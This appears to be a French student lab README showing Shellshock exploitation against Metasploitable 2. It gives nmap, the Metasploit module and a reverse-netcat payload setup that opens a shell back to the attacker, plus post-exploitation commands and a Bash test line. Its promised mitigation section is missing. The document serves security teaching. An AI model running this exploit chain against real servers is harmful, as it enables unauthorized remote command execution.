
# Laboratoire pédagogique démontrant l'exploitation de Shellshock (CVE-2014-6271) avec Metasploit contre Metasploitable 2, incluant le scan, l'exploitation, le reverse shell et les stratégies d'atténuation.
Il s'agit du devoir pratique pour Vulnerability Assessment and Penetration Testing – II, axé sur l'exploitation et l'analyse de la vulnérabilité Shellshock (CVE-2014-6271).
Réalisé dans un environnement de laboratoire contrôlé utilisant Metasploitable 2 (cible) et Kali Linux (attaquant).
nmap -sS -sV <target-ip>
2️⃣ Démarrer Metasploit
msfconsole
3️⃣ Charger le module d'exploitation
use exploit/multi/http/apache_mod_cgi_bash_env_exec
4️⃣ Configurer l'exploitation
set RHOST <target-ip>
set TARGETURI /cgi-bin/status
set LHOST <your-kali-ip>
set PAYLOAD cmd/unix/reverse_netcat
5️⃣ Lancer l'exploitation
exploit
📸 La démonstration inclut
📡 Résultats du scan Nmap
⚙️ Configuration de Metasploit
🔄 Sortie de session de shell inversé
🛠 Commandes post-exploitation :
whoami
uname -a
ifconfig
Qu'est-ce que Shellshock ?
Shellshock est une vulnérabilité du shell GNU Bash qui permet aux attaquants d'exécuter des commandes arbitraires en les injectant dans les variables d'environnement. Découverte en septembre 2014 et identifiée sous le CVE-2014-6271, elle affecte Bash v1.14 à v4.3.
Comment ça marche ?
Bash traite incorrectement les définitions de fonctions dans les variables d'environnement et exécute des commandes supplémentaires après le corps de la fonction. Sur les serveurs Web utilisant des scripts CGI, les en-têtes HTTP deviennent des variables d'environnement, créant une voie d'attaque facile.
Exemple :
env x='() { :;}; echo vulnerable' bash -c "echo test"
Si vulnérable, il affiche vulnerable.
Impact :
Exploits réels
Ce projet est uniquement à des fins éducatives.
Tous les tests ont été effectués dans un environnement de laboratoire contrôlé.
❌ N'utilisez PAS ces techniques sur des systèmes sans autorisation.
👨💻 Auteur : Janith Madhusankha
🎓 Cours : BICT (Hons) en Réseau et Sécurité
🏫 Institution : South Eastern University of Sri Lanka